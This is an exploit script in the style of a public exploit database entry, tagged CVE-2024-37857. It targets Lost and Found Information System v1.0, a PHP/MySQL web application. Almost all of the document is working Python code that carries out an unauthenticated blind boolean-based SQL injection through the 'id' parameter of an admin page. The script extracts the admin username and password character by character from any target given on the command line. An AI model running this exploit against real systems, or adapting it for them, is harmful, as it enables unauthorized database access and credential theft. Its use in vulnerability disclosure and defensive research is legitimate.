# Exploit Title: Unauthenticated Blind Boolean-Based SQL Injection Exploit - Lost and Found Information System 
# Exploit Author: Amit Roy (Rezur / AR0x7)
# Date: June 07, 2024
# Vendor Homepage: https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-lfis.zip
# Tested on: Kali Linux, Apache, Mysql
# Version: v1.0
# Exploit Description:
#   Lost and Found Information System v1.0 suffers from an unauthenticated SQL Injection Vulnerability allowing remote attackers to dump the SQL database using a Blind SQL Injection attack.
# CVE : CVE-2024-37857

import requests,string,sys,argparse

r = requests.Session()
proxies = {'http': 'http://127.0.0.1:8080'}

admin_path = "/php-lfis/admin/index.php"
createCategory_path = "/php-lfis/classes/Master.php"

def char_extract(rhost, payload):
    params = {"page": "categories/view_category", "id": payload}
    response = r.get(rhost+admin_path, params=params)
    if "Category ID is not valid" not in response.text:
        return True
    else:
        return False
    
def sqli(rhost, column):
    charset = string.printable
    output_length = 200
    output = ""
    for i in range(output_length):
        for char in charset:
            # Extracts the credentials of user with id=1, admin by default
            payload = "13371337' or char(%s) = (select substring(%s,%s,1) from users where id=1)-- -" % (ord(str(char)),str(column),str(i+1))
            sys.stdout.write(f"\r[*] Extracting: {output}\r")
            if char_extract(rhost, payload):
                output += char
                break
            elif char == '~' and not char_extract(rhost, payload):
                print("[*] Extracting:",output)
                return output

def argsetup():
    about  = 'Unauthenticated Blind Boolean-Based SQL Injection Exploit - Lost and Found Information System (https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html)'
    parser = argparse.ArgumentParser(description=about)
    parser.add_argument('-t', '--target', help='Target ip address or hostname. Example : "http://localhost"', required=True)
    args = parser.parse_args()
    return args

def main():
    args   = argsetup()
    rhost = args.target
    print(sqli(rhost, 'username'),':',sqli(rhost, 'password'))

if __name__ == "__main__":
    main()